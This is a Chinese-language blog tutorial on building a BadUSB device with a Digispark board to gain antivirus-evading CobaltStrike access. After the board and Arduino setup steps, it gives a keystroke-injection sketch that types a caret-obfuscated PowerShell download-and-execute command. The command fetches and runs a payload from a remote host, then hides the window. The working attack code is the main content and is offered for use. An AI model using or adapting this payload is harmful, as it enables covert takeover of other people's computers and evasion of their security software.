LOADING

加载过慢请开启缓存 浏览器默认开启

BadUSB绕过杀软上线CobaltStrike

2024/8/19 免杀

Badusb的原理是利用HID(Human InterfaceDevice，是计算机直接与人交互的设备，例如键盘、鼠标等)进行攻击，将USB设备伪装使电脑识别为键盘，再利用USB设备中的微控制芯片，向主机发送命令，从而实现完全控制主机。

购买digispark开发板

随便在淘宝买一个digispark开发板，大概在15块
678ec73625ddae1b959352b68bf023a

配置ide

安装Arduino IDE
https://www.arduino.cc/en/software
image
下载后解压直接打开
文件-首选项
输入其他开发板管理器地址
http://digistump.com/package_digistump_index.json
image-1693319986984
点开工具-开发板-开发板管理器
image-1693319221887
搜索dig，安装Digistump AVR Boards by Digistump(我已经安装过了，所以显示移除)，下载源在GitHub，可能需要设置代理，可以在文件-首选项-网络，进行设置
image-1693319278571
安装驱动
https://github.com/digistump/DigistumpArduino/releases/tag/1.6.7
image-1693319403943
下载后64位系统使用DPinst64.exe安装
image-1693319415075
切换到Arduino ，开发板选择16.5结尾那个
image-1693319453077

测试ide和开发板

加入如下代码点击上传

#include "DigiKeyboard.h"
#define MOD_SHIFT_LEFT      (1<<1)
#define MOD_CONTROL_LEFT    (1<<0)
#define KEY_ENTER   40
#define KEY_CAPS_LOCK 0x39

void setup() {
DigiKeyboard.sendKeyStroke(KEY_R,MOD_GUI_LEFT); //win+r
DigiKeyboard.delay(500);
DigiKeyboard.print(F("cmd")); //输入cmd
DigiKeyboard.delay(500);
DigiKeyboard.sendKeyStroke(KEY_ENTER); //回车
}

void loop() {
}

image-1693319570384
编译结束后插入开发板
image-1693319615648
输出窗口提示成功，命令窗口也打开了

调试上线代码

使用下面的代码，在函数DigiKeyboard.print替换成自己的上线地址

#include "DigiKeyboard.h"
#define MOD_SHIFT_LEFT      (1<<1)
#define MOD_CONTROL_LEFT    (1<<0)
#define KEY_ENTER   40
#define KEY_CAPS_LOCK 0x39

void setup() {
delay(500);
DigiKeyboard.sendKeyStroke(0);
DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT);  // Win+r
DigiKeyboard.sendKeyStroke(0x39);  // 锁定大小写
delay(500);
DigiKeyboard.print(F("cmd /c e^ch^o set-ali^as -na^me l -va^lue IE^X;l((n^ew-object n^et.web^client).down^loads^trin^g('htt^p://19^2.16^8.7^4.12^8:81/^A'))|po^w^ersh^ell -"));
DigiKeyboard.sendKeyStroke(KEY_ENTER);
delay(3000);//等待上线
DigiKeyboard.sendKeyStroke(KEY_C, MOD_CONTROL_LEFT);  //Ctrl+c
delay(1000);
DigiKeyboard.sendKeyStroke(KEY_F4, MOD_ALT_LEFT);//Alt+f4
}

void loop() {

}

上传烧录
image-1693319752351
烧录完成后会自动重新连接一次，再次连接的时候会自动模拟键盘输入使用powershell上线
image-1693319760853